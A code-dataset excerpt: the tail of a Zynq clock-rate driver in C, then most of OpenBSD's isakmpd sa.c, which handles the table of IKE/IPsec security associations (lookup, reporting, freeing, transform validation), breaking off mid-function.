* clock id.
*/
unsigned long zynq_clk_get_rate(enum zynq_clk clk)
{
if (clk < 0 || clk >= clk_max)
return 0;
return clks[clk].frequency;
}
/**
* zynq_clk_set_rate() - Set clock rate
* @clk: Clock identifier
* @rate: Requested clock rate
* Passes on the return value from the clock's set_rate() function or negative
* errno.
*/
int zynq_clk_set_rate(enum zynq_clk clk, unsigned long rate)
{
if (clk < 0 || clk >= clk_max)
return -ENODEV;
if (clks[clk].ops.set_rate)
return clks[clk].ops.set_rate(&clks[clk], rate);
return -ENXIO;
}
/**
* zynq_clk_get_name() - Get clock name
* @clk: Clock identifier
* Returns the name of @clk.
*/
const char *zynq_clk_get_name(enum zynq_clk clk)
{
return clks[clk].name;
}
/**
* soc_clk_dump() - Print clock frequencies
* Returns zero on success
*
* Implementation for the clk dump command.
*/
int soc_clk_dump(void)
{
int i;
printf("clk\t\tfrequency\n");
for (i = 0; i < clk_max; i++) {
const char *name = zynq_clk_get_name(i);
if (name)
printf("%10s%20lu\n", name, zynq_clk_get_rate(i));
}
return 0;
}
|
2c4c5fa5858fdff5db7e5345b27317a2846388a7
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/sbin/isakmpd/sa.c
|
065cfcfbff7d1905821128ff3f0af125bd1d0fa8
|
[
"BSD-3-Clause"
] |
permissive
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
ISO-8859-15
|
C
| false
| false
| 34,859
|
c
|
sa.c
|
/* $OpenBSD: sa.c,v 1.125 2022/01/28 05:24:15 guenther Exp $ */
/* $EOM: sa.c,v 1.112 2000/12/12 00:22:52 niklas Exp $ */
/*
* Copyright (c) 1998, 1999, 2000, 2001 Niklas Hallqvist. All rights reserved.
* Copyright (c) 1999, 2001 Angelos D. Keromytis. All rights reserved.
* Copyright (c) 2003, 2004 Håkan Olsson. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This code was written under funding by Ericsson Radio Systems.
*/
#include <sys/types.h>
#include <sys/un.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <regex.h>
#include <keynote.h>
#include "attribute.h"
#include "conf.h"
#include "connection.h"
#include "cookie.h"
#include "doi.h"
#include "dpd.h"
#include "exchange.h"
#include "isakmp.h"
#include "log.h"
#include "message.h"
#include "monitor.h"
#include "sa.h"
#include "timer.h"
#include "transport.h"
#include "util.h"
#include "cert.h"
#include "policy.h"
#include "key.h"
#include "ipsec.h"
#include "ipsec_num.h"
/* Initial number of bits from the cookies used as hash. */
#define INITIAL_BUCKET_BITS 6
/*
* Don't try to use more bits than this as a hash.
* We only XOR 16 bits so going above that means changing the code below
* too.
*/
#define MAX_BUCKET_BITS 16
#if 0
static void sa_resize(void);
#endif
static void sa_soft_expire(void *);
static void sa_hard_expire(void *);
static int _net_addrcmp(struct sockaddr *, struct sockaddr *);
static LIST_HEAD(sa_list, sa) *sa_tab;
/* Works both as a maximum index and a mask. */
static int bucket_mask;
void
sa_init(void)
{
int i;
bucket_mask = (1 << INITIAL_BUCKET_BITS) - 1;
sa_tab = calloc(bucket_mask + 1, sizeof(struct sa_list));
if (!sa_tab)
log_fatal("sa_init: malloc (%lu) failed",
(bucket_mask + 1) * (unsigned long)sizeof(struct sa_list));
for (i = 0; i <= bucket_mask; i++)
LIST_INIT(&sa_tab[i]);
}
#if 0
/* XXX We don't yet resize. */
static void
sa_resize(void)
{
int new_mask = (bucket_mask + 1) * 2 - 1;
int i;
struct sa_list *new_tab;
new_tab = reallocarray(sa_tab, new_mask + 1, sizeof(struct sa_list));
if (!new_tab)
return;
sa_tab = new_tab;
for (i = bucket_mask + 1; i <= new_mask; i++)
LIST_INIT(&sa_tab[i]);
bucket_mask = new_mask;
/* XXX Rehash existing entries. */
}
#endif
/* Lookup an SA with the help from a user-supplied checking function. */
struct sa *
sa_find(int (*check) (struct sa*, void *), void *arg)
{
int i;
struct sa *sa;
for (i = 0; i <= bucket_mask; i++)
for (sa = LIST_FIRST(&sa_tab[i]); sa; sa = LIST_NEXT(sa, link))
if (check(sa, arg)) {
LOG_DBG((LOG_SA, 90, "sa_find: return SA %p",
sa));
return sa;
}
LOG_DBG((LOG_SA, 90, "sa_find: no SA matched query"));
return 0;
}
/* Check if SA is an ISAKMP SA with an initiator cookie equal to ICOOKIE. */
static int
sa_check_icookie(struct sa *sa, void *icookie)
{
return sa->phase == 1 &&
memcmp(sa->cookies, icookie, ISAKMP_HDR_ICOOKIE_LEN) == 0;
}
/* Lookup an ISAKMP SA out of just the initiator cookie. */
struct sa *
sa_lookup_from_icookie(u_int8_t *cookie)
{
return sa_find(sa_check_icookie, cookie);
}
struct name_phase_arg {
char *name;
u_int8_t phase;
};
/* Check if SA has the name and phase given by V_ARG. */
static int
sa_check_name_phase(struct sa *sa, void *v_arg)
{
struct name_phase_arg *arg = v_arg;
return sa->name && strcasecmp(sa->name, arg->name) == 0 &&
sa->phase == arg->phase && !(sa->flags & SA_FLAG_REPLACED);
}
/* Lookup an SA by name, case-independent, and phase. */
struct sa *
sa_lookup_by_name(char *name, int phase)
{
struct name_phase_arg arg;
arg.name = name;
arg.phase = phase;
return sa_find(sa_check_name_phase, &arg);
}
struct addr_arg {
struct sockaddr *addr;
socklen_t len;
int phase;
int flags;
};
/*
* This function has been removed from libc and put here as this
* file is the only user for it.
*/
static int
_net_addrcmp(struct sockaddr *sa1, struct sockaddr *sa2)
{
if (sa1->sa_len != sa2->sa_len)
return (sa1->sa_len < sa2->sa_len) ? -1 : 1;
if (sa1->sa_family != sa2->sa_family)
return (sa1->sa_family < sa2->sa_family) ? -1 : 1;
switch(sa1->sa_family) {
case AF_INET:
return (memcmp(&((struct sockaddr_in *)sa1)->sin_addr,
&((struct sockaddr_in *)sa2)->sin_addr,
sizeof(struct in_addr)));
case AF_INET6:
if (((struct sockaddr_in6 *)sa1)->sin6_scope_id !=
((struct sockaddr_in6 *)sa2)->sin6_scope_id)
return (((struct sockaddr_in6 *)sa1)->sin6_scope_id <
((struct sockaddr_in6 *)sa2)->sin6_scope_id)
? -1 : 1;
return memcmp(&((struct sockaddr_in6 *)sa1)->sin6_addr,
&((struct sockaddr_in6 *)sa2)->sin6_addr,
sizeof(struct in6_addr));
case AF_LOCAL:
return (strcmp(((struct sockaddr_un *)sa1)->sun_path,
((struct sockaddr_un *)sa2)->sun_path));
default:
return -1;
}
}
/*
* Check if SA is ready and has a peer with an address equal the one given
* by V_ADDR. Furthermore if we are searching for a specific phase, check
* that too.
*/
static int
sa_check_peer(struct sa *sa, void *v_addr)
{
struct addr_arg *addr = v_addr;
struct sockaddr *dst;
if (!sa->transport || (sa->flags & SA_FLAG_READY) == 0 ||
(addr->phase && addr->phase != sa->phase))
return 0;
sa->transport->vtbl->get_dst(sa->transport, &dst);
if (_net_addrcmp(dst, addr->addr) != 0)
return 0;
/* same family, length and address, check port if inet/inet6 */
switch (dst->sa_family) {
case AF_INET:
return ((struct sockaddr_in *)dst)->sin_port == ((struct sockaddr_in *)addr->addr)->sin_port;
case AF_INET6:
return ((struct sockaddr_in6 *)dst)->sin6_port == ((struct sockaddr_in6 *)addr->addr)->sin6_port;
}
return 1;
}
struct dst_isakmpspi_arg {
struct sockaddr *dst;
u_int8_t *spi; /* must be ISAKMP_SPI_SIZE octets */
};
/*
* Check if SA matches what we are asking for through V_ARG. It has to
* be a finished phase 1 (ISAKMP) SA.
*/
static int
isakmp_sa_check(struct sa *sa, void *v_arg)
{
struct dst_isakmpspi_arg *arg = v_arg;
struct sockaddr *dst, *src;
if (sa->phase != 1 || !(sa->flags & SA_FLAG_READY))
return 0;
/* verify address is either src or dst for this sa */
sa->transport->vtbl->get_dst(sa->transport, &dst);
sa->transport->vtbl->get_src(sa->transport, &src);
if (memcmp(src, arg->dst, SA_LEN(src)) &&
memcmp(dst, arg->dst, SA_LEN(dst)))
return 0;
/* match icookie+rcookie against spi */
if (memcmp(sa->cookies, arg->spi, ISAKMP_HDR_COOKIES_LEN) == 0)
return 1;
return 0;
}
/*
* Find an ISAKMP SA with a "name" of DST & SPI.
*/
struct sa *
sa_lookup_isakmp_sa(struct sockaddr *dst, u_int8_t *spi)
{
struct dst_isakmpspi_arg arg;
arg.dst = dst;
arg.spi = spi;
return sa_find(isakmp_sa_check, &arg);
}
/* Lookup a ready SA by the peer's address. */
struct sa *
sa_lookup_by_peer(struct sockaddr *dst, socklen_t dstlen, int phase)
{
struct addr_arg arg;
arg.addr = dst;
arg.len = dstlen;
arg.phase = phase;
return sa_find(sa_check_peer, &arg);
}
/* Lookup a ready ISAKMP SA given its peer address. */
struct sa *
sa_isakmp_lookup_by_peer(struct sockaddr *dst, socklen_t dstlen)
{
struct addr_arg arg;
arg.addr = dst;
arg.len = dstlen;
arg.phase = 1;
return sa_find(sa_check_peer, &arg);
}
int
sa_enter(struct sa *sa)
{
u_int16_t bucket = 0;
int i;
u_int8_t *cp;
/* XXX We might resize if we are crossing a certain threshold */
for (i = 0; i < ISAKMP_HDR_COOKIES_LEN; i += 2) {
cp = sa->cookies + i;
/* Doing it this way avoids alignment problems. */
bucket ^= cp[0] | cp[1] << 8;
}
for (i = 0; i < ISAKMP_HDR_MESSAGE_ID_LEN; i += 2) {
cp = sa->message_id + i;
/* Doing it this way avoids alignment problems. */
bucket ^= cp[0] | cp[1] << 8;
}
bucket &= bucket_mask;
LIST_INSERT_HEAD(&sa_tab[bucket], sa, link);
sa_reference(sa);
LOG_DBG((LOG_SA, 70, "sa_enter: SA %p added to SA list", sa));
return 1;
}
/*
* Lookup the SA given by the header fields MSG. PHASE2 is false when
* looking for phase 1 SAa and true otherwise.
*/
struct sa *
sa_lookup_by_header(u_int8_t *msg, int phase2)
{
return sa_lookup(msg + ISAKMP_HDR_COOKIES_OFF,
phase2 ? msg + ISAKMP_HDR_MESSAGE_ID_OFF : 0);
}
/*
* Lookup the SA given by the COOKIES and possibly the MESSAGE_ID unless
* a null pointer, meaning we are looking for phase 1 SAs.
*/
struct sa *
sa_lookup(u_int8_t *cookies, u_int8_t *message_id)
{
u_int16_t bucket = 0;
int i;
struct sa *sa;
u_int8_t *cp;
/*
* We use the cookies to get bits to use as an index into sa_tab, as at
* least one (our cookie) is a good hash, xoring all the bits, 16 at a
* time, and then masking, should do. Doing it this way means we can
* validate cookies very fast thus delimiting the effects of "Denial of
* service"-attacks using packet flooding.
*/
for (i = 0; i < ISAKMP_HDR_COOKIES_LEN; i += 2) {
cp = cookies + i;
/* Doing it this way avoids alignment problems. */
bucket ^= cp[0] | cp[1] << 8;
}
if (message_id)
for (i = 0; i < ISAKMP_HDR_MESSAGE_ID_LEN; i += 2) {
cp = message_id + i;
/* Doing it this way avoids alignment problems. */
bucket ^= cp[0] | cp[1] << 8;
}
bucket &= bucket_mask;
for (sa = LIST_FIRST(&sa_tab[bucket]);
sa && (memcmp(cookies, sa->cookies, ISAKMP_HDR_COOKIES_LEN) != 0 ||
(message_id && memcmp(message_id, sa->message_id,
ISAKMP_HDR_MESSAGE_ID_LEN) != 0) ||
(!message_id && !zero_test(sa->message_id, ISAKMP_HDR_MESSAGE_ID_LEN)));
sa = LIST_NEXT(sa, link))
;
return sa;
}
/* Create an SA. */
int
sa_create(struct exchange *exchange, struct transport *t)
{
struct sa *sa;
/*
* We want the SA zeroed for sa_free to be able to find out what fields
* have been filled-in.
*/
sa = calloc(1, sizeof *sa);
if (!sa) {
log_error("sa_create: calloc (1, %lu) failed",
(unsigned long)sizeof *sa);
return -1;
}
sa->transport = t;
if (t)
transport_reference(t);
sa->phase = exchange->phase;
memcpy(sa->cookies, exchange->cookies, ISAKMP_HDR_COOKIES_LEN);
memcpy(sa->message_id, exchange->message_id,
ISAKMP_HDR_MESSAGE_ID_LEN);
sa->doi = exchange->doi;
sa->policy_id = -1;
if (sa->doi->sa_size) {
/*
* Allocate the DOI-specific structure and initialize it to
* zeroes.
*/
sa->data = calloc(1, sa->doi->sa_size);
if (!sa->data) {
log_error("sa_create: calloc (1, %lu) failed",
(unsigned long)sa->doi->sa_size);
free(sa);
return -1;
}
}
TAILQ_INIT(&sa->protos);
sa_enter(sa);
TAILQ_INSERT_TAIL(&exchange->sa_list, sa, next);
sa_reference(sa);
LOG_DBG((LOG_SA, 60,
"sa_create: sa %p phase %d added to exchange %p (%s)", sa,
sa->phase, exchange,
exchange->name ? exchange->name : "<unnamed>"));
return 0;
}
/*
* Dump the internal state of SA to the report channel, with HEADER
* prepended to each line.
*/
void
sa_dump(int cls, int level, char *header, struct sa *sa)
{
struct proto *proto;
char spi_header[80];
int i;
LOG_DBG((cls, level, "%s: %p %s phase %d doi %d flags 0x%x", header,
sa, sa->name ? sa->name : "<unnamed>", sa->phase, sa->doi->id,
sa->flags));
LOG_DBG((cls, level, "%s: icookie %08x%08x rcookie %08x%08x", header,
decode_32(sa->cookies), decode_32(sa->cookies + 4),
decode_32(sa->cookies + 8), decode_32(sa->cookies + 12)));
LOG_DBG((cls, level, "%s: msgid %08x refcnt %d", header,
decode_32(sa->message_id), sa->refcnt));
LOG_DBG((cls, level, "%s: life secs %llu kb %llu", header, sa->seconds,
sa->kilobytes));
for (proto = TAILQ_FIRST(&sa->protos); proto;
proto = TAILQ_NEXT(proto, link)) {
LOG_DBG((cls, level, "%s: suite %d proto %d", header,
proto->no, proto->proto));
LOG_DBG((cls, level,
"%s: spi_sz[0] %d spi[0] %p spi_sz[1] %d spi[1] %p",
header, proto->spi_sz[0], proto->spi[0], proto->spi_sz[1],
proto->spi[1]));
LOG_DBG((cls, level, "%s: %s, %s", header,
!sa->doi ? "<nodoi>" :
sa->doi->decode_ids("initiator id: %s, responder id: %s",
sa->id_i, sa->id_i_len,
sa->id_r, sa->id_r_len, 0),
!sa->transport ? "<no transport>" :
sa->transport->vtbl->decode_ids(sa->transport)));
for (i = 0; i < 2; i++)
if (proto->spi[i]) {
snprintf(spi_header, sizeof spi_header,
"%s: spi[%d]", header, i);
LOG_DBG_BUF((cls, level, spi_header,
proto->spi[i], proto->spi_sz[i]));
}
}
}
/*
* Display the SA's two SPI values.
*/
static void
report_spi(FILE *fd, const u_int8_t *buf, size_t sz, int spi)
{
#define SBUFSZ (2 * 32 + 9)
char s[SBUFSZ];
size_t i, j;
for (i = j = 0; i < sz;) {
snprintf(s + j, sizeof s - j, "%02x", buf[i++]);
j += strlen(s + j);
if (i % 4 == 0) {
if (i % 32 == 0) {
s[j] = '\0';
fprintf(fd, "%s", s);
j = 0;
} else
s[j++] = ' ';
}
}
if (j) {
s[j] = '\0';
fprintf(fd, "SPI %d: %s\n", spi, s);
}
}
/*
* Display the transform names to file.
* Structure is taken from pf_key_v2.c, pf_key_v2_set_spi.
* Transform names are taken from /usr/src/sys/crypto/xform.c.
*/
static void
report_proto(FILE *fd, struct proto *proto)
{
struct ipsec_proto *iproto;
int keylen, hashlen;
switch (proto->proto) {
case IPSEC_PROTO_IPSEC_ESP:
keylen = ipsec_esp_enckeylength(proto);
hashlen = ipsec_esp_authkeylength(proto);
fprintf(fd, "Transform: IPsec ESP\n");
fprintf(fd, "Encryption key length: %d\n", keylen);
fprintf(fd, "Authentication key length: %d\n", hashlen);
fprintf(fd, "Encryption algorithm: ");
switch (proto->id) {
case IPSEC_ESP_3DES:
fprintf(fd, "3DES\n");
break;
case IPSEC_ESP_AES:
fprintf(fd, "AES (CBC)\n");
break;
case IPSEC_ESP_AES_CTR:
fprintf(fd, "AES (CTR)\n");
break;
case IPSEC_ESP_AES_GCM_16:
fprintf(fd, "AES (GCM)\n");
break;
case IPSEC_ESP_AES_GMAC:
fprintf(fd, "AES (GMAC)\n");
break;
case IPSEC_ESP_CAST:
fprintf(fd, "Cast-128\n");
break;
case IPSEC_ESP_BLOWFISH:
fprintf(fd, "Blowfish\n");
break;
default:
fprintf(fd, "unknown (%d)\n", proto->id);
}
fprintf(fd, "Authentication algorithm: ");
if (!proto->data) {
fprintf(fd, "none\n");
break;
}
iproto = proto->data;
switch (iproto->auth) {
case IPSEC_AUTH_HMAC_MD5:
fprintf(fd, "HMAC-MD5\n");
break;
case IPSEC_AUTH_HMAC_SHA:
fprintf(fd, "HMAC-SHA1\n");
break;
case IPSEC_AUTH_HMAC_RIPEMD:
fprintf(fd, "HMAC-RIPEMD-160\n");
break;
case IPSEC_AUTH_HMAC_SHA2_256:
fprintf(fd, "HMAC-SHA2-256\n");
break;
case IPSEC_AUTH_HMAC_SHA2_384:
fprintf(fd, "HMAC-SHA2-384\n");
break;
case IPSEC_AUTH_HMAC_SHA2_512:
fprintf(fd, "HMAC-SHA2-512\n");
break;
case IPSEC_AUTH_DES_MAC:
case IPSEC_AUTH_KPDK:
/* XXX We should be supporting KPDK */
fprintf(fd, "unknown (%d)", iproto->auth);
break;
default:
fprintf(fd, "none\n");
}
break;
case IPSEC_PROTO_IPSEC_AH:
hashlen = ipsec_ah_keylength(proto);
fprintf(fd, "Transform: IPsec AH\n");
fprintf(fd, "Encryption not used.\n");
fprintf(fd, "Authentication key length: %d\n", hashlen);
fprintf(fd, "Authentication algorithm: ");
switch (proto->id) {
case IPSEC_AH_MD5:
fprintf(fd, "HMAC-MD5\n");
break;
case IPSEC_AH_SHA:
fprintf(fd, "HMAC-SHA1\n");
break;
case IPSEC_AH_RIPEMD:
fprintf(fd, "HMAC-RIPEMD-160\n");
break;
case IPSEC_AH_SHA2_256:
fprintf(fd, "HMAC-SHA2-256\n");
break;
case IPSEC_AH_SHA2_384:
fprintf(fd, "HMAC-SHA2-384\n");
break;
case IPSEC_AH_SHA2_512:
fprintf(fd, "HMAC-SHA2-512\n");
break;
default:
fprintf(fd, "unknown (%d)", proto->id);
}
break;
default:
fprintf(fd, "report_proto: invalid proto %d\n", proto->proto);
}
}
/*
* Display SA lifetimes.
*/
static void
report_lifetimes(FILE *fd, struct sa *sa)
{
long timeout;
if (sa->seconds)
fprintf(fd, "Lifetime: %llu seconds\n", sa->seconds);
if (sa->soft_death) {
timeout = get_timeout(&sa->soft_death->expiration);
if (timeout < 0)
fprintf(fd, "<no soft timeout>\n");
else
fprintf(fd, "Soft timeout in %ld seconds\n", timeout);
}
if (sa->death) {
timeout = get_timeout(&sa->death->expiration);
if (timeout < 0)
fprintf(fd, "No hard timeout>\n");
else
fprintf(fd, "Hard timeout in %ld seconds\n", timeout);
}
if (sa->kilobytes)
fprintf(fd, "Lifetime: %llu kilobytes\n", sa->kilobytes);
}
/*
* Print phase 1 specific information.
*/
static void
report_phase1(FILE *fd, struct sa *sa)
{
/* Cookies. */
fprintf(fd, "icookie %08x%08x rcookie %08x%08x\n",
decode_32(sa->cookies), decode_32(sa->cookies + 4),
decode_32(sa->cookies + 8), decode_32(sa->cookies + 12));
}
/*
* Print phase 2 specific information.
*/
static void
report_phase2(FILE *fd, struct sa *sa)
{
struct proto *proto;
int i;
/* Transform information. */
for (proto = TAILQ_FIRST(&sa->protos); proto;
proto = TAILQ_NEXT(proto, link)) {
/* SPI values. */
for (i = 0; i < 2; i++)
if (proto->spi[i])
report_spi(fd, proto->spi[i],
proto->spi_sz[i], i);
else
fprintf(fd, "SPI %d not defined.\n", i);
/* Proto values. */
report_proto(fd, proto);
}
}
/* Report all the SAs to the report channel. */
void
sa_report(void)
{
struct sa *sa;
int i;
for (i = 0; i <= bucket_mask; i++)
for (sa = LIST_FIRST(&sa_tab[i]); sa; sa = LIST_NEXT(sa, link))
sa_dump(LOG_REPORT, 0, "sa_report", sa);
}
/*
* Print an SA's connection details to file SA_FILE.
*/
static void
sa_dump_all(FILE *fd, struct sa *sa)
{
/* SA name and phase. */
fprintf(fd, "SA name: %s", sa->name ? sa->name : "<unnamed>");
fprintf(fd, " (Phase %d%s)\n", sa->phase, sa->phase == 1 ?
(sa->initiator ? "/Initiator" : "/Responder") : "");
/* Source and destination IPs. */
fprintf(fd, "%s", sa->transport == NULL ? "<no transport>" :
sa->transport->vtbl->decode_ids(sa->transport));
fprintf(fd, "\n");
/* Lifetimes */
report_lifetimes(fd, sa);
fprintf(fd, "Flags 0x%08x\n", sa->flags);
if (sa->phase == 1)
report_phase1(fd, sa);
else if (sa->phase == 2)
report_phase2(fd, sa);
else {
/* Should not happen, but... */
fprintf(fd, "<unknown phase>\n");
}
/* SA separator. */
fprintf(fd, "\n");
}
/* Report info of all SAs to file 'fd'. */
void
sa_report_all(FILE *fd)
{
struct sa *sa;
int i;
for (i = 0; i <= bucket_mask; i++)
for (sa = LIST_FIRST(&sa_tab[i]); sa; sa = LIST_NEXT(sa, link))
sa_dump_all(fd, sa);
}
/* Free the protocol structure pointed to by PROTO. */
void
proto_free(struct proto *proto)
{
struct proto_attr *pa;
struct sa *sa = proto->sa;
int i;
for (i = 0; i < 2; i++)
if (proto->spi[i]) {
if (sa->doi->delete_spi)
sa->doi->delete_spi(sa, proto, i);
free(proto->spi[i]);
}
TAILQ_REMOVE(&sa->protos, proto, link);
if (proto->data) {
if (sa->doi && sa->doi->free_proto_data)
sa->doi->free_proto_data(proto->data);
free(proto->data);
}
if (proto->xf_cnt)
while ((pa = TAILQ_FIRST(&proto->xfs)) != NULL) {
free(pa->attrs);
TAILQ_REMOVE(&proto->xfs, pa, next);
free(pa);
}
LOG_DBG((LOG_SA, 90, "proto_free: freeing %p", proto));
free(proto);
}
/* Release all resources this SA is using. */
void
sa_free(struct sa *sa)
{
if (sa->death) {
timer_remove_event(sa->death);
sa->death = 0;
sa->refcnt--;
}
if (sa->soft_death) {
timer_remove_event(sa->soft_death);
sa->soft_death = 0;
sa->refcnt--;
}
if (sa->dpd_event) {
timer_remove_event(sa->dpd_event);
sa->dpd_event = 0;
}
sa_remove(sa);
}
/* Remove the SA from the hash table of live SAs. */
void
sa_remove(struct sa *sa)
{
LIST_REMOVE(sa, link);
LOG_DBG((LOG_SA, 70, "sa_remove: SA %p removed from SA list", sa));
sa_release(sa);
}
/* Raise the reference count of SA. */
void
sa_reference(struct sa *sa)
{
sa->refcnt++;
LOG_DBG((LOG_SA, 80, "sa_reference: SA %p now has %d references",
sa, sa->refcnt));
}
/* Release a reference to SA. */
void
sa_release(struct sa *sa)
{
struct cert_handler *handler;
struct proto *proto;
LOG_DBG((LOG_SA, 80, "sa_release: SA %p had %d references",
sa, sa->refcnt));
if (--sa->refcnt)
return;
LOG_DBG((LOG_SA, 60, "sa_release: freeing SA %p", sa));
while ((proto = TAILQ_FIRST(&sa->protos)) != 0)
proto_free(proto);
if (sa->data) {
if (sa->doi && sa->doi->free_sa_data)
sa->doi->free_sa_data(sa->data);
free(sa->data);
}
free(sa->id_i);
free(sa->id_r);
if (sa->recv_cert) {
handler = cert_get(sa->recv_certtype);
if (handler)
handler->cert_free(sa->recv_cert);
}
if (sa->sent_cert) {
handler = cert_get(sa->sent_certtype);
if (handler)
handler->cert_free(sa->sent_cert);
}
if (sa->recv_key)
key_free(sa->recv_keytype, ISAKMP_KEYTYPE_PUBLIC,
sa->recv_key);
free(sa->keynote_key); /* This is just a string */
if (sa->policy_id != -1)
kn_close(sa->policy_id);
free(sa->name);
free(sa->keystate);
if (sa->nat_t_keepalive)
timer_remove_event(sa->nat_t_keepalive);
if (sa->dpd_event)
timer_remove_event(sa->dpd_event);
if (sa->transport)
transport_release(sa->transport);
free(sa->tag);
free(sa);
}
/*
* Rehash the ISAKMP SA this MSG is negotiating with the responder cookie
* filled in.
*/
void
sa_isakmp_upgrade(struct message *msg)
{
struct sa *sa = TAILQ_FIRST(&msg->exchange->sa_list);
sa_remove(sa);
GET_ISAKMP_HDR_RCOOKIE(msg->iov[0].iov_base,
sa->cookies + ISAKMP_HDR_ICOOKIE_LEN);
/*
* We don't install a transport in the initiator case as we don't know
* what local address will be chosen. Do it now instead.
*/
sa->transport = msg->transport;
transport_reference(sa->transport);
sa_enter(sa);
}
#define ATTRS_SIZE (IKE_ATTR_BLOCK_SIZE + 1) /* XXX Should be dynamic. */
struct attr_validation_state {
u_int8_t *attrp[ATTRS_SIZE];
u_int8_t checked[ATTRS_SIZE];
u_int16_t len[ATTRS_SIZE];
int phase; /* IKE (1) or IPSEC (2) attrs? */
int mode; /* 0 = 'load', 1 = check */
};
/* Validate an attribute. Return 0 on match. */
static int
sa_validate_xf_attrs(u_int16_t type, u_int8_t *value, u_int16_t len,
void *arg)
{
int val0, val1;
struct attr_validation_state *avs =
(struct attr_validation_state *)arg;
LOG_DBG((LOG_SA, 95, "sa_validate_xf_attrs: phase %d mode %d type %d "
"len %d", avs->phase, avs->mode, type, len));
/* Make sure the phase and type are valid. */
if (avs->phase == 1) {
if (type < IKE_ATTR_ENCRYPTION_ALGORITHM ||
type > IKE_ATTR_BLOCK_SIZE)
return 1;
} else if (avs->phase == 2) {
if (type < IPSEC_ATTR_SA_LIFE_TYPE ||
type > IPSEC_ATTR_ECN_TUNNEL)
return 1;
} else
return 1;
if (avs->mode == 0) { /* Load attrs. */
avs->attrp[type] = value;
avs->len[type] = len;
return 0;
}
/* Checking for a missing attribute is an immediate failure. */
if (!avs->attrp[type])
return 1;
/* Match the loaded attribute against this one, mark it as checked. */
avs->checked[type]++;
switch (len) {
case 2:
val0 = (int)decode_16(value);
break;
case 4:
val0 = (int)decode_32(value);
break;
default:
return 1;
}
switch (avs->len[type]) {
case 2:
val1 = (int)decode_16(avs->attrp[type]);
break;
case 4:
val1 = (int)decode_32(avs->attrp[type]);
break;
default:
return 1;
}
/* Return 0 when the values are equal. */
return (val0 != val1);
}
/*
* This function is used to validate the returned proposal (protection suite)
* we get from the responder against a proposal we sent. Only run as initiator.
* We return 0 if a match is found (in any transform of this proposal), 1
* otherwise. Also see note in sa_add_transform() below.
*/
static int
sa_validate_proto_xf(struct proto *match, struct payload *xf, int phase)
{
struct attr_validation_state *avs;
struct proto_attr *pa;
int found = 0;
size_t i;
u_int8_t xf_id;
if (!match->xf_cnt)
return 0;
if (match->proto != GET_ISAKMP_PROP_PROTO(xf->context->p)) {
LOG_DBG((LOG_SA, 70, "sa_validate_proto_xf: proto %p (#%d) "
"protocol mismatch", match, match->no));
return 1;
}
avs = calloc(1, sizeof *avs);
if (!avs) {
log_error("sa_validate_proto_xf: calloc (1, %lu)",
(unsigned long)sizeof *avs);
return 1;
}
avs->phase = phase;
/* Load the "proposal candidate" attribute set. */
(void)attribute_map(xf->p + ISAKMP_TRANSFORM_SA_ATTRS_OFF,
GET_ISAKMP_GEN_LENGTH(xf->p) - ISAKMP_TRANSFORM_SA_ATTRS_OFF,
sa_validate_xf_attrs, avs);
xf_id = GET_ISAKMP_TRANSFORM_ID(xf->p);
/* Check against the transforms we suggested. */
avs->mode++;
for (pa = TAILQ_FIRST(&match->xfs); pa && !found;
pa = TAILQ_NEXT(pa, next)) {
if (xf_id != GET_ISAKMP_TRANSFORM_ID(pa->attrs))
continue;
bzero(avs->checked, sizeof avs->checked);
if (attribute_map(pa->attrs + ISAKMP_TRANSFORM_SA_ATTRS_OFF,
pa->len - ISAKMP_TRANSFORM_SA_ATTRS_OFF,
sa_validate_xf_attrs, avs) == 0)
found++;
LOG_DBG((LOG_SA, 80, "sa_validate_proto_xf: attr_map "
"xf %p proto %p pa %p found %d", xf, match, pa, found));
if (!found)
continue;
/*
* Require all attributes present and checked. XXX perhaps
* not?
*/
for (i = 0; i < sizeof avs->checked; i++)
if (avs->attrp[i] && !avs->checked[i])
found = 0;
LOG_DBG((LOG_SA, 80, "sa_validate_proto_xf: req_attr "
"xf %p proto %p pa %p found %d", xf, match, pa, found));
}
free(avs);
return found ? 0 : 1;
}
/*
* Register the chosen transform XF into SA. As a side effect set PROTOP
* to point at the corresponding proto structure. INITIATOR is true if we
* are the initiator.
*/
int
sa_add_transform(struct sa *sa, struct payload *xf, int initiator,
struct proto **protop)
{
struct proto *proto;
struct payload *prop = xf->context;
*protop = 0;
if (!initiator) {
proto = calloc(1, sizeof *proto);
if (!proto)
log_error("sa_add_transform: calloc (1, %lu) failed",
(unsigned long)sizeof *proto);
} else {
/*
* RFC 2408, section 4.2 states the responder SHOULD use the
* proposal number from the initiator (i.e us), in its
* selected proposal to make this lookup easier. Most vendors
* follow this. One noted exception is the CiscoPIX (and
* perhaps other Cisco products).
*
* We start by matching on the proposal number, as before.
*/
for (proto = TAILQ_FIRST(&sa->protos);
